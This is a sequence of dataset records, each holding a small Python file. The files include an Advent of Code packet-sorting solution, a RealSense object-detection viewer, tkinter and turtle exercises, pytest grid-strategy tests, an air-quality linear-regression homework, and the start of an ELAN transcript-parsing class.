integers. Each list starts with [, ends with ], and contains zero or more comma-separated values (either integers or other lists). Each packet is always a list and appears on its own line.\n\nWhen comparing two values, the first value is called left and the second value is called right. Then:\n\nIf both values are integers, the lower integer should come first. If the left integer is lower than the right integer, the inputs are in the right order. If the left integer is higher than the right integer, the inputs are not in the right order. Otherwise, the inputs are the same integer; continue checking the next part of the input.\nIf both values are lists, compare the first value of each list, then the second value, and so on. If the left list runs out of items first, the inputs are in the right order. If the right list runs out of items first, the inputs are not in the right order. If the lists are the same length and no comparison makes a decision about the order, continue checking the next part of the input.\nIf exactly one value is an integer, convert the integer to a list which contains that integer as its only value, then retry the comparison. For example, if comparing [0,0,0] and 2, convert the right value to [2] (a list containing 2); the result is then found by instead comparing [0,0,0] and [2].\nUsing these rules, you can determine which of the pairs in the example are in the right order:\n\n== Pair 1 ==\n- Compare [1,1,3,1,1] vs [1,1,5,1,1]\n - Compare 1 vs 1\n - Compare 1 vs 1\n - Compare 3 vs 5\n - Left side is smaller, so inputs are in the right order\n\n== Pair 2 ==\n- Compare [[1],[2,3,4]] vs [[1],4]\n - Compare [1] vs [1]\n - Compare 1 vs 1\n - Compare [2,3,4] vs 4\n - Mixed types; convert right to [4] and retry comparison\n - Compare [2,3,4] vs [4]\n - Compare 2 vs 4\n - Left side is smaller, so inputs are in the right order\n\n== Pair 3 ==\n- Compare [9] vs [[8,7,6]]\n - Compare 9 vs [8,7,6]\n - Mixed types; convert left to [9] and retry comparison\n - Compare [9] vs [8,7,6]\n - Compare 9 vs 8\n - Right side is smaller, so inputs are not in the right order\n\n== Pair 4 ==\n- Compare [[4,4],4,4] vs [[4,4],4,4,4]\n - Compare [4,4] vs [4,4]\n - Compare 4 vs 4\n - Compare 4 vs 4\n - Compare 4 vs 4\n - Compare 4 vs 4\n - Left side ran out of items, so inputs are in the right order\n\n== Pair 5 ==\n- Compare [7,7,7,7] vs [7,7,7]\n - Compare 7 vs 7\n - Compare 7 vs 7\n - Compare 7 vs 7\n - Right side ran out of items, so inputs are not in the right order\n\n== Pair 6 ==\n- Compare [] vs [3]\n - Left side ran out of items, so inputs are in the right order\n\n== Pair 7 ==\n- Compare [[[]]] vs [[]]\n - Compare [[]] vs []\n - Right side ran out of items, so inputs are not in the right order\n\n== Pair 8 ==\n- Compare [1,[2,[3,[4,[5,6,7]]]],8,9] vs [1,[2,[3,[4,[5,6,0]]]],8,9]\n - Compare 1 vs 1\n - Compare [2,[3,[4,[5,6,7]]]] vs [2,[3,[4,[5,6,0]]]]\n - Compare 2 vs 2\n - Compare [3,[4,[5,6,7]]] vs [3,[4,[5,6,0]]]\n - Compare 3 vs 3\n - Compare [4,[5,6,7]] vs [4,[5,6,0]]\n - Compare 4 vs 4\n - Compare [5,6,7] vs [5,6,0]\n - Compare 5 vs 5\n - Compare 6 vs 6\n - Compare 7 vs 0\n - Right side is smaller, so inputs are not in the right order\nWhat are the indices of the pairs that are already in the right order? (The first pair has index 1, the second pair has index 2, and so on.) In the above example, the pairs in the right order are 1, 2, 4, and 6; the sum of these indices is 13.\n\nDetermine which pairs of packets are already in the right order. What is the sum of the indices of those pairs?\n\n--- Part Two ---\nNow, you just need to put all of the packets in the right order. Disregard the blank lines in your list of received packets.\n\nThe distress signal protocol also requires that you include two additional divider packets:\n\n[[2]]\n[[6]]\nUsing the same rules as before, organize all packets - the ones in your list of received packets as well as the two divider packets - into the correct order.\n\nFor the example above, the result of putting the packets in the correct order is:\n\n[]\n[[]]\n[[[]]]\n[1,1,3,1,1]\n[1,1,5,1,1]\n[[1],[2,3,4]]\n[1,[2,[3,[4,[5,6,0]]]],8,9]\n[1,[2,[3,[4,[5,6,7]]]],8,9]\n[[1],4]\n[[2]]\n[3]\n[[4,4],4,4]\n[[4,4],4,4,4]\n[[6]]\n[7,7,7]\n[7,7,7,7]\n[[8,7,6]]\n[9]\nAfterward, locate the divider packets. To find the decoder key for this distress signal, you need to determine the indices of the two divider packets and multiply them together. (The first packet is at index 1, the second packet is at index 2, and so on.) In this example, the divider packets are 10th and 14th, and so the decoder key is 140.\n\nOrganize all of the packets into the correct order. What is the decoder key for the distress signal?\n\"\"\"\n\nimport json\n\ndef load_data(filename: str) -> list:\n data = []\n with open(filename, \"r\") as f:\n for line in f:\n if line.rstrip():\n data.append(json.loads(line.rstrip()))\n return data\n\ndef pktcmp( pkt1: list, pkt2: list ) -> int:\n if len(pkt1) == 0 and len(pkt2) > 0:\n return -1\n if len(pkt1) > 0 and len(pkt2) == 0:\n return 1\n\n if len(pkt1) == 1 and type(pkt1[0]) == int and type(pkt2[0]) == list:\n return pktcmp([pkt1[0]], pkt2[0])\n\n if len(pkt2) == 1 and type(pkt2[0]) == int and type(pkt1[0]) == list:\n return pktcmp(pkt1[0], [pkt2[0]])\n\n for i in range(min(len(pkt1),len(pkt2))):\n if type(pkt1[i]) == int and type(pkt2[i]) == int:\n if pkt1[i] < pkt2[i]:\n return -1\n elif pkt1[i] > pkt2[i]:\n return 1\n else:\n continue\n elif type(pkt1[i]) == list and type(pkt2[i]) == list:\n result = pktcmp(pkt1[i],pkt2[i])\n if result == 0:\n continue\n else:\n return result\n elif type(pkt1[i]) == list and type(pkt2[i]) == int:\n result = pktcmp(pkt1[i],[pkt2[i]])\n if result == 0:\n continue\n else:\n return result\n elif type(pkt1[i]) == int and type(pkt2[i]) == list:\n result = pktcmp([pkt1[i]],pkt2[i])\n if result == 0:\n continue\n else:\n return result\n\n if len(pkt1) < len(pkt2):\n return -1\n elif len(pkt1) > len(pkt2):\n return 1\n else:\n return 0\n\nif __name__ == \"__main__\":\n data = load_data(\"13.data\")\n\n a, b = [[2]], [[6]]\n data.append(a)\n data.append(b)\n\n import functools\n\n data.sort(key=functools.cmp_to_key(pktcmp))\n\n print( (data.index(a) + 1) * (data.index(b) + 1) )\n","sub_path":"adventofcode/2022/13b.py","file_name":"13b.py","file_ext":"py","file_size_in_byte":7438,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"630424244","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Nov 29 16:57:40 2019\n\nThis script performs visualization of the real-time object detection.\nIt shows the RGB and depth image as well as the pointcloud image.\n\nThe distance from the camera of the object is represented by the\ncenter point of the boudning box.\n\n\n@author: jschang\n\"\"\"\n\n# import sys model to appending paths\nimport sys\nsys.path.append('D:\\Jen\\Projects\\RealSense Camera\\Codes\\Python\\selfbuildpackages')\n\n# import self-build packages\nfrom network_ssd import SSD\nfrom PointCloudDrawer import AppState\n\n# import realsense package\nimport pyrealsense2 as rs\n# import opencv package\nimport cv2\n# import package for calculate fps\n\n#import other packages\nimport numpy as np\nimport time\n\n\ndir_coffe_prototxt = \"D:\\\\Jen\\\\_Documents\\\\eLearning\\\\Computer Vision\\\\pyimagesearch\\\\real-time-object-detection\\\\MobileNetSSD_deploy.prototxt.txt\"\ndir_coffe_model = \"D:\\\\Jen\\\\_Documents\\\\eLearning\\\\Computer Vision\\\\pyimagesearch\\\\real-time-object-detection\\\\MobileNetSSD_deploy.caffemodel\"\nconfidence_thresh = 0.5\n\n\n# initialize the model\nssd = SSD().start()\nssd.load_model()\nprint(\"[INFO] network model loaded.\")\n# load the classes\nCLASSES = ssd.load_classes()\n# generate color list for the classes\nCOLORS = ssd.generate_colors(len(CLASSES))\n\n\n## get the rs camera device\n#ctx = rs.context()\n#devices = ctx.query_devices()\n#dev = devices[0]\n#print(\"[INFO] Device name and iD {}:{}\".format(dev.get_info(rs.camera_info.name), \n# dev.get_info(rs.camera_info.product_id)))\n\n## find realsense device\n#ctx = rs.context()\n#devices = ctx.query_devices()\n#print(\"[INFO] Devices found {}\".format(devices))\n#dev = devices[0]\n#\n## enable device advanced mode\n#advnc_mode = rs.rs400_advanced_mode(dev)\n#print(\"Advanced mode is\", \"enabled\" if advnc_mode.is_enabled() else \"disable\")\n#\n## reduce the max depth to 1.5 meters\n#depth_table = advnc_mode.get_depth_table()\n#depth_table.depthClampMax = 1500\n#advnc_mode.set_depth_table(depth_table)\n\n\n# config realsense camera pipeline\npipeline = rs.pipeline()\nconfig = rs.config()\nrs.config.enable_device_from_file(config,\"test.bag\" )\nconfig.enable_stream(rs.stream.depth, 640, 480, rs.format.z16, 30)\nconfig.enable_stream(rs.stream.color, 640 ,480, rs.format.bgr8, 30)\n\n\n# create an align object\n# rs.aligh allows us to perform alignement of depth to other fames\n# the align_to is the stream to which we plan to aligh depth frames.\nalign_to = rs.stream.color\nalign = rs.align(align_to)\n\n\n# declare pointcloud instance\npc = rs.pointcloud()\n# declare appState for pointcloud visualization\npc_state = AppState()\n# declare a numpy array to store the pointcloud data for visualization\nout = np.empty((480, 640, 3), dtype=np.uint8)\npc_state.get_size(out)\n# declare colorizer instance\ncolorizer = rs.colorizer()\n\n# initialize opencv visualization window\ncv2.namedWindow(\"RGB video\", cv2.WINDOW_AUTOSIZE)\ncv2.namedWindow(\"Pointcloud\", cv2.WINDOW_AUTOSIZE)\ncv2.setMouseCallback(\"Pointcloud\", pc_state.mouse_cb)\n\n\n\n# start the rs-camera stream\nprofile = pipeline.start(config)\n# get the camera intrinsics\ndepth_profile = rs.video_stream_profile(profile.get_stream(rs.stream.depth))\ndepth_intrinsics = depth_profile.get_intrinsics()\nw, h = depth_intrinsics.width, depth_intrinsics.height\n\n# sleep to worn up the camera\ntime.sleep(2.0)\n\n\n# obtain the depth sensor and its depth scale\ndepth_sensor = profile.get_device().first_depth_sensor()\ndepth_scale = depth_sensor.get_depth_scale()\nprint(\"[INFO] Depth scale is {}\".format(depth_scale))\n\n\n\nprint(\"[INFO] Start streaming...\")\n# loop over frames from the streams\ntry:\n while True:\n \n # wait for a coherent pair of frames: color and depth frame\n frames = pipeline.wait_for_frames()\n \n # align the depth frame to color frame\n aligned_frames = align.process(frames)\n\n# # get the frames \n# depth_frame = frames.get_depth_frame()\n# color_frame = frames.get_color_frame()\n \n # get the aligned frames\n aligned_depth_frame = aligned_frames.get_depth_frame()\n color_frame = aligned_frames.get_color_frame()\n depth_frame = aligned_depth_frame\n \n # Validate that both frames are valid\n if not depth_frame or not color_frame:\n continue \n \n # map pointcloud to depth frame\n points = pc.calculate(depth_frame)\n pc.map_to(depth_frame)\n \n # point cloud data to numpy array\n v, t = points.get_vertices(), points.get_texture_coordinates()\n verts = np.asarray(v).view(np.float32).reshape(-1,3) #xyz\n texcoords = np.asarray(t).view(np.float32).reshape(-1,2) #uv\n \n \n \n # convert images to numpy arrays\n depth_image = np.asanyarray(depth_frame.get_data())\n color_image = np.asanyarray(color_frame.get_data())\n \n # depth image 3d. (depth image is 1-channel, color is 3 channels)\n depth_image_3d = np.dstack((depth_image*depth_scale,depth_image*depth_scale\n , depth_image*depth_scale))\n \n # Apply color map to depth image (image must converted to 8-bit per pixel first)\n depth_colormap = np.asanyarray(colorizer.colorize(depth_frame).get_data())\n \n \n \n # apply color map to the depth image\n # image must converted to 8-bit per pixel first\n depth_colormap_image = cv2.applyColorMap(cv2.convertScaleAbs(depth_image,\n alpha=0.03), cv2.COLORMAP_JET)\n \n # blob the image and get the dimension of the image\n (h, w) = color_image.shape[:2]\n blob = ssd.blob_image(color_image)\n \n # obtain detections\n detections = ssd.get_detections(blob)\n \n # initialize lists\n box_center=[]\n \n # loop over the detections\n for i in range (0, len(detections)):\n \n # get the idx and color\n idx = ssd.get_class_idx(detections, i)\n color = ssd.get_color(idx)\n \n # draw the bounding boxes\n ssd.draw_bounding_box(color_image, detections, i, COLORS)\n \n # get the position of the box center\n box_center = ssd.get_box_center()\n \n # get the distance of the center\n center_dist = depth_frame.get_distance(box_center[0], box_center[1])\n # update center distance to the image\n text_cen = \"Dis:{:.2f}\".format(center_dist)\n cv2.putText(color_image, text_cen, (box_center[0], box_center[1]-15),\n cv2.FONT_HERSHEY_COMPLEX, 0.5, color, 2) \n\n##################\n## Visualization\n\n # render pointcloud\n out.fill(0)\n pc_state.grid(out, (0, 0.5, 1), size=1, n=10)\n pc_state.frustum(out, depth_intrinsics)\n pc_state.axes(out, pc_state.view([0, 0, 0]), pc_state.rotation, size=0.1, thickness=1)\n \n if not pc_state.scale or out.shape[:2] ==(h, w):\n pc_state.pointcloud_display(out, verts, texcoords, depth_colormap)\n \n else:\n tmp = np.zeros((h, w, 3), dtype=np.uint8)\n pc_state.pointcloud_display(out, verts, texcoords, depth_colormap)\n tmp = cv2.resize(tmp, out.shape[:2][::-1], interpolation=cv2.INTER_NEAREST)\n np.putmask(out, tmp > 0, tmp) \n \n # monitoring mouse buttons\n if any(pc_state.mouse_btns):\n pc_state.axes(out, pc_state.view(pc_state.pivot), pc_state.rotation, thickness=4)\n \n \n \n # stack both image together\n images = np.hstack((color_image, depth_colormap_image))\n \n \n # show the image\n# cv2.namedWindow(\"Realsense\", cv2.WINDOW_AUTOSIZE)\n cv2.imshow(\"RGB video\", images)\n cv2.imshow(\"Pointcloud\", out)\n key = cv2.waitKey(1) & 0xFF\n \n # quit the loop by pressing 'q'\n if key == ord(\"q\"):\n break\n \n \nfinally:\n pipeline.stop()\n cv2.destroyAllWindows()","sub_path":"rs_camera_realtime_object_detection_ssd_with_selfbuildpackages.py","file_name":"rs_camera_realtime_object_detection_ssd_with_selfbuildpackages.py","file_ext":"py","file_size_in_byte":8119,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"48261171","text":"import tkinter\r\nfrom tkinter import messagebox\r\n\r\n\r\ndef xl_ket_qua():\r\n chuoi = \"\"\r\n if anh_var.get() == 1:\r\n chuoi += \"Anh\\n\"\r\n if phap_var.get() == 1:\r\n chuoi += \"Phap\\n\"\r\n if nga_var.get() == 1:\r\n chuoi += \"Nga\\n\"\r\n if chuoi!=\"\": \r\n messagebox.showinfo(\"Ngoai ngu\", chuoi)\r\n else:\r\n messagebox.showinfo(\"Ngoai ngu\", \"rat tiec cho ban\")\r\n\r\n# tao cua so ung dung\r\nwin = tkinter.Tk()\r\nwin.title(\"CheckBox\")\r\nwin.geometry(\"400x100\")\r\n\r\n# tao cac dieu khien\r\nanh_var = tkinter.IntVar()\r\nanh_var.set(1)\r\nphap_var = tkinter.IntVar()\r\nnga_var = tkinter.IntVar()\r\n\r\nchk_anh = tkinter.Checkbutton(\r\n win, text=\"Anh\", variable=anh_var, onvalue=1, offvalue=0)\r\nchk_phap = tkinter.Checkbutton(\r\n win, text=\"Phap\", variable=phap_var, onvalue=1, offvalue=0)\r\nchk_nga = tkinter.Checkbutton(\r\n win, text=\"Nga\", variable=nga_var, onvalue=1, offvalue=0)\r\n\r\nnut_xl = tkinter.Button(win, text=\"Ket qua\", command=xl_ket_qua)\r\n\r\n# hien cac dieu khien\r\nchk_anh.pack(side=tkinter.LEFT)\r\nchk_phap.pack(side=tkinter.LEFT)\r\nchk_nga.pack(side=tkinter.LEFT)\r\nnut_xl.pack(side=tkinter.LEFT)\r\n\r\n# mo cua so ung dung\r\nwin.mainloop()\r\n","sub_path":"gui/test_check_box.py","file_name":"test_check_box.py","file_ext":"py","file_size_in_byte":1173,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"600448215","text":"# Author@ Arun Singh | arunsingh.in@gmail.com\n#\n# Solution to UDACITY Course Project: Learning Python\n# Copyright (c) Arun Singh | arunsingh.in@gmail.com. All rights reserved.\n#\n# https://github.com/arunsingh/udacity_courses/pfw_python\n#\n# Problem stmt: Draw a square using lines and right angles\n# and using draw() function, for re-usability component of code\n# I will declare diff function and use the loop\n#\n\n\nimport turtle as t\n\n\ndef draw_square(arun_s):\n for x in xrange(1, 5):\n arun_s.forward(100)\n arun_s.right(90)\n\n\ndef draw_art():\n drawpad = t.Screen()\n drawpad.bgcolor(\"yellow\")\n\n # creating a turtle Saumya : shape is square, Turtle draws a square\n saumya = t.Turtle()\n saumya.shape(\"turtle\")\n saumya.color(\"red\")\n saumya.speed(2)\n draw_square(saumya)\n\n # creating a turtle Rahil : shape is circle, turtle draws circle\n rahil = t.Turtle()\n rahil.shape(\"arrow\")\n rahil.color(\"blue\")\n rahil.speed(2)\n rahil.circle(100)\n\n # creating a turtle varsha : shape is triangle, turtle draws triangle\n varsha = t.Turtle()\n varsha.shape(\"arrow\")\n varsha.color(\"black\")\n varsha.speed(2)\n varsha.triangle(100)\n\n drawpad.exitonclick()\n\n\nif __name__ == '__main__':\n draw_art()\n","sub_path":"draw_square.py","file_name":"draw_square.py","file_ext":"py","file_size_in_byte":1255,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"339874196","text":"import pytest\n\nfrom grid_strategy import strategies\n\n\n@pytest.fixture\ndef rectangular_strategy():\n return strategies.RectangularStrategy()\n\n\n@pytest.fixture\ndef square_strategy():\n return strategies.SquareStrategy()\n\n\n# Test the rectangular strategy to see if the get_grid_arrangement returns the right tuple.\n@pytest.mark.parametrize(\n \"num_plots, grid_arrangement\",\n [\n (1, (1,)),\n (2, (2,)),\n (3, (3,)),\n (4, (2, 2)),\n (5, (5,)),\n (6, (3, 3)),\n (10, (5, 5)),\n (12, (4, 4, 4)),\n (20, (5, 5, 5, 5)),\n ],\n)\ndef test_rectangular_strategy(rectangular_strategy, num_plots, grid_arrangement):\n assert rectangular_strategy.get_grid_arrangement(num_plots) == grid_arrangement\n\n\n@pytest.mark.parametrize(\n \"num_plots, grid_arrangement\",\n [\n (1, (1,)),\n (2, (2,)),\n (3, (2, 1)),\n (4, (2, 2)),\n (5, (2, 3)),\n (6, (3, 3)),\n (7, (2, 3, 2)),\n (8, (3, 2, 3)),\n (9, (3, 3, 3)),\n (10, (3, 4, 3)),\n (12, (4, 4, 4)),\n (20, (5, 5, 5, 5)),\n ],\n)\ndef test_square_strategy(square_strategy, num_plots, grid_arrangement):\n assert square_strategy.get_grid_arrangement(num_plots) == grid_arrangement\n\n\n# Test for bad input\ndef test_strategy_with_bad_input(rectangular_strategy, square_strategy):\n with pytest.raises(ValueError):\n rectangular_strategy.get_grid(-1)\n rectangular_strategy.get_grid(-1000)\n\n square_strategy.get_grid(-1)\n square_strategy.get_grid(-110)\n","sub_path":"tests/test_strategies.py","file_name":"test_strategies.py","file_ext":"py","file_size_in_byte":1548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"422368260","text":"import numpy as np\n\nclass GetRectangles:\n '''\n Get all the rectangles that surrounds islands with a particular color\n '''\n _steps = [(1, 0), (0, 1), (-1, 0), (0, -1)]\n _map = None\n \n def __init__(self, img, color=(0, 0, 0), tol=(5, 5, 5), channel=3):\n '''\n Convert the original image into a 0, 1 map\n '''\n assert channel == img.shape[2] == len(color) == len(tol)\n self._map = np.ones(img.shape[:2]).astype(np.int16)\n for i in range(channel):\n self._map = (self._map&(img[:,:,i] >= color[i]-tol[i])&(img[:,:,i]<= color[i]+tol[i])).astype(np.int16)\n \n def _getIsland(self, i, j):\n '''\n Get Island\n '''\n assert i>=0 and i=0 and j=0 and i1=0 and j1= color[i]-tol[i])&(img[:,:,i]<= color[i]+tol[i])).astype(np.int16)","sub_path":"utils/rect.py","file_name":"rect.py","file_ext":"py","file_size_in_byte":2403,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"342196195","text":"import numpy as np\nimport sys\nimport csv\nfrom numpy.linalg import inv\n\n\n\n\ndef process_data_in(filename, hour):\n \n data = []\n for i in range(18):\n data.append([])\n \n n_row = 0\n text = open(filename, 'r',encoding='big5') \n row = csv.reader(text , delimiter=\",\")\n for r in row:\n if n_row != 0:\n for i in range(3,27):\n if r[i] != \"NR\":\n data[(n_row-1)%18].append( float( r[i] ) )\n else:\n data[(n_row-1)%18].append( float( 0 ) )\t\n n_row =n_row+1\n \n text.close()\n \n train_x = []\n train_y = []\n \n for i in range(12):\n for j in range(480-hour):\n train_x.append( [] )\n for t in range(18):\n for s in range(hour):\n train_x[(480-hour)*i+j].append( data[t][480*i+j+s] )\n train_y.append( data[9][480*i+j+hour] )\n \n\n \n \n train_x = np.array(train_x)\n train_y = np.array(train_y)\n\n train_y = np.reshape(train_y,(len(train_y),1))\n\n amb = np.copy(train_x[:,0:hour]) \n ch4 = np.copy(train_x[:,hour:2*hour]) \n co = np.copy(train_x[:,2*hour:3*hour]) \n nmhc = np.copy(train_x[:,3*hour:4*hour]) \n no = np.copy(train_x[:,4*hour:5*hour]) \n no2 = np.copy(train_x[:,5*hour:6*hour]) \n nox = np.copy(train_x[:,6*hour:7*hour]) \n o3 = np.copy(train_x[:,7*hour:8*hour])\n pm10 = np.copy(train_x[:,8*hour:9*hour])\n pm25 = np.copy(train_x[:,9*hour:10*hour])\n rf = np.copy(train_x[:,10*hour:11*hour])\n rh = np.copy(train_x[:,11*hour:12*hour]) \n so2 = np.copy(train_x[:,12*hour:13*hour]) \n thc = np.copy(train_x[:,13*hour:14*hour]) \n wd_hr = np.copy(train_x[:,14*hour:15*hour]) \n wind_dir = np.copy(train_x[:,15*hour:16*hour]) \n wind_speed = np.copy(train_x[:,16*hour:17*hour]) \n ws_hr = np.copy(train_x[:,17*hour:18*hour]) \n\n #train_x = np.column_stack((amb,co,nmhc,no,no2,nox,o3,pm10,pm25,rh,so2,thc,wd_hr,ws_hr))\n #train_x = np.column_stack((no2, o3, pm10, pm25, so2, pm25**2,pm10**2, no))\n #train_x = np.column_stack((pm10,pm25,o3,wind_dir,wind_speed,wd_hr,ws_hr,rf,pm10**2,pm25**2)) \n train_x = np.column_stack((pm10,pm25,o3,wind_dir,wind_speed,wd_hr,ws_hr,rf,co,pm10**3,pm25**3,pm25*o3))\n #train_x = np.column_stack((pm10,pm25,o3,wind_dir,wind_speed,wd_hr,ws_hr,rf,pm10**2,pm25**2,pm25*o3))\n for i in range(471):\n train_x = np.delete(train_x,2826,0)\n train_y = np.delete(train_y,2826,0)\n\n\n\n rem = []\n for i in range(len(train_x[:,0])):\n if -1 in pm25[i,:] or -1 in train_y[i]:\n rem.append(i)\n \n \n train_x = np.delete(train_x,rem,0)\n train_y = np.delete(train_y,rem,0)\n \n mean = np.mean(train_x,axis=0)\n std = np.std(train_x,axis=0) \n \n \n train_x = (train_x - mean ) / std \n \n train_x = np.concatenate((train_x, np.ones((len(train_x[:,0]), 1))), axis=1)\n \n\n #train_x = pm25\n \n return train_x, train_y, mean, std\n\ndef LinReg_fit(X, y, X_test=None, y_test=None, lr=1e-7, lamb=0, epoch=10000, print_every=100, lamb1=0, momentum=0):\n \"\"\"train Linear Regression by adagrad\"\"\"\n # initialize\n # W = np.random.randn(X.shape[1]).reshape(X.shape[1],1) / X.shape[1] / X.shape[0]\n # W = np.load('weight_ini.npy').T\n W = inv(X.T.dot(X)).dot(X.T).dot(y)\n \n train_loss = []\n train_RMSE = []\n test_loss = []\n test_RMSE = []\n\n\n G = np.zeros(W.shape)\n\n for i in range(epoch):\n # inds = []\n last_step = 0\n\n # inds.append(np.random.permutation(X.shape[0]))\n # diff = X[inds].dot(W) - y[inds]\n diff = X.dot(W) - y\n # calculate gradients\n w = np.array(W)\n w[w > 0] = 0.5\n w[w < 0] = -0.5\n grad_X = X.T.dot(diff)\n grad_regulariz = lamb * W \n grad_first_order_reg = lamb1 * w \n grad = grad_X + grad_regulariz + grad_first_order_reg\n\n # calculate update step\n G += grad**2\n delta_W = (grad + momentum * last_step) / np.sqrt(G)\n W -= lr * delta_W\n\n # reset variables\n last_step = delta_W\n \n\n objective = (((X.dot(W) - y)**2).sum() + lamb * (W**2).sum())\n RMSE = cal_RMSE(X, W, y)\n\n if X_test is not None and y_test is not None:\n # losses\n loss_X = ((X_test.dot(W) - y_test)**2).sum() \n loss_reg = lamb * (W**2).sum() \n loss_first_reg = lamb1 * (abs(W).sum())\n\n obj_t = loss_X + loss_reg + loss_first_reg\n RMSE_t = cal_RMSE(X_test, W, y_test)\n\n test_loss.append(obj_t)\n test_RMSE.append(RMSE_t)\n\n # print out the progress\n if i % print_every == 0:\n if X_test is not None and y_test is not None:\n print('\\tepoch: [%d]; loss: [%.4f]; RMSE: [%.4f]; RMSE_test: [%.4f]' %\n (i, objective, RMSE, RMSE_t))\n else:\n print('\\tepoch: [%d]; loss: [%.4f]; RMSE: [%.4f]' %\n (i, objective, RMSE))\n\n train_loss.append(objective)\n train_RMSE.append(RMSE)\n\n print('final obj: %.4f' % train_loss[-1])\n\n return W, train_loss, train_RMSE, test_loss, test_RMSE\n\n\ndef cal_RMSE(X, W, y):\n \"\"\"Calculate the RMSE\"\"\"\n return np.sqrt(((X.dot(W) - y) ** 2).sum() / len(y))\n\n\ndef process_data_out(filename, W, hour, mean, std):\n\n test = []\n\n\n for i in range(240):\n test.append([])\n\n\n n_row = 0\n text = open(filename, 'r') \n row = csv.reader(text , delimiter=\",\")\n for r in row:\n for i in range(11-hour,11):\n if r[i] != \"NR\":\n test[n_row//18].append( float( r[i] ) )\n else:\n test[n_row//18].append( float( 0 ) )\t\n n_row += 1\n \n \n text.close()\n test = np.array(test)\n\n\n amb = np.copy(test[:,0:hour]) \n ch4 = np.copy(test[:,hour:2*hour]) \n co = np.copy(test[:,2*hour:3*hour]) \n nmhc = np.copy(test[:,3*hour:4*hour]) \n no = np.copy(test[:,4*hour:5*hour]) \n no2 = np.copy(test[:,5*hour:6*hour]) \n nox = np.copy(test[:,6*hour:7*hour]) \n o3 = np.copy(test[:,7*hour:8*hour])\n pm10 = np.copy(test[:,8*hour:9*hour])\n pm25 = np.copy(test[:,9*hour:10*hour])\n rf = np.copy(test[:,10*hour:11*hour])\n rh = np.copy(test[:,11*hour:12*hour]) \n so2 = np.copy(test[:,12*hour:13*hour]) \n thc = np.copy(test[:,13*hour:14*hour]) \n wd_hr = np.copy(test[:,14*hour:15*hour]) \n wind_dir = np.copy(test[:,15*hour:16*hour]) \n wind_speed = np.copy(test[:,16*hour:17*hour]) \n ws_hr = np.copy(test[:,17*hour:18*hour]) \n\n\n #test = np.column_stack((no2, o3, pm10, pm25, so2, pm25**2,pm10**2, no))\n #test = np.column_stack((pm10,pm25,o3,wind_dir,wind_speed,wd_hr,ws_hr,rf,pm10**2,pm25**2))\n test = np.column_stack((pm10,pm25,o3,wind_dir,wind_speed,wd_hr,ws_hr,rf,co,pm10**3,pm25**3,pm25*o3))\n \n test = (test - mean) / std\n \n \n test = np.concatenate((test, np.ones((len(test[:,0]), 1))), axis=1)\n \n y_hat = np.dot(test,W)\n\n\n finalString = \"id,value\\n\"\n for i in range(240) :\n finalString = finalString + \"id_\" + str(i) + \",\" + str(round(y_hat[i][0])) + \"\\n\"\n f = open(sys.argv[2], \"w\")\n \n f.write(finalString)\n f.close()\n \n return y_hat\n\n \n#--------------------main function------------------------------------------- \n\n\nnp.random.seed(1) \nhr = 9\nX_train, y_train,mean ,std = process_data_in(sys.argv[3], hr) \n#W, train_loss, train_RMSE, valid_loss, valid_RMSE = LinReg_fit(X_train, y_train,lr=0.1,epoch=20000,print_every=200)\n\n#np.save(sys.argv[4],W)\n\nW = np.load(sys.argv[4])\n\nloss = ((X_train.dot(W) - y_train)**2).sum() \nRMSE = cal_RMSE(X_train, W, y_train)\n\n\ny_hat = process_data_out(sys.argv[1], W, hr,mean,std)\n\n","sub_path":"hw1/hw1_best.py","file_name":"hw1_best.py","file_ext":"py","file_size_in_byte":7754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"535413947","text":"import pandas as pd\nfrom xml.etree import ElementTree as etree\nfrom pprint import pprint\nfrom yattag import *\nimport pdb\n#------------------------------------------------------------------------------------------------------------------------\n# -*- coding: utf-8 -*-\n#------------------------------------------------------------------------------------------------------------------------\nclass Line:\n\n tierInfo = []\n spokenTextID = \"\"\n rootElement = None\n rootID = None\n tierElements = []\n doc = None\n lineNumber = None\n soundFile = None\n grammaticalTerms = None\n\n\n def __init__(self, doc, lineNumber, grammaticalTerms=[]):\n self.doc = doc\n self.lineNumber = lineNumber\n self.rootElement = self.doc.findall(\"TIER/ANNOTATION/ALIGNABLE_ANNOTATION\")[lineNumber]\n self.allElements = findChildren(self.doc, self.rootElement)\n # need tier info to guide traverse\n self.tierInfo = [doc.attrib for doc in doc.findall(\"TIER\")]\n # [{'LINGUISTIC_TYPE_REF': 'default-lt', 'TIER_ID': 'AYA'},\n # {'LINGUISTIC_TYPE_REF': 'phonemic', 'PARENT_REF': 'AYA', 'TIER_ID': 'AYA2'},\n # {'LINGUISTIC_TYPE_REF': 'translation', 'PARENT_REF': 'AYA', 'TIER_ID': 'ENG'},\n # {'LINGUISTIC_TYPE_REF': 'translation', 'PARENT_REF': 'AYA2', 'TIER_ID': 'GL'}]\n self.tbl = buildTable(doc, self.allElements)\n self.rootID = self.deduceSpokenTextID()\n self.grammaticalTerms = grammaticalTerms\n\n\n def getImmediateChildrenOfRoot(self):\n rootID = self.deduceSpokenTextID()\n\n def getTierCount(self):\n return(self.getTable().shape[0])\n\n def getTable(self):\n return(self.tbl)\n\n\n #----------------------------------------------------------------------------------------------------\n def deduceSpokenTextID(self):\n\n return(self.tbl.loc[pd.isnull(self.tbl['ANNOTATION_REF'])][\"ANNOTATION_ID\"][0])\n\n #----------------------------------------------------------------------------------------------------\n def deduceWordRepresentation(self):\n\n rootSpokenTextID = self.deduceSpokenTextID()\n tbl_emptyLinesRemoved = self.tbl.query(\"TEXT != ''\")\n # do not wish to count children with empty text fields\n numberOfDirectChildrenOfRoot = tbl_emptyLinesRemoved.ix[self.tbl[\"ANNOTATION_REF\"] == rootSpokenTextID].shape[0]\n # add test for present but empty word tier, as in monkey line 1\n if(numberOfDirectChildrenOfRoot == 1):\n return(\"noWords\")\n 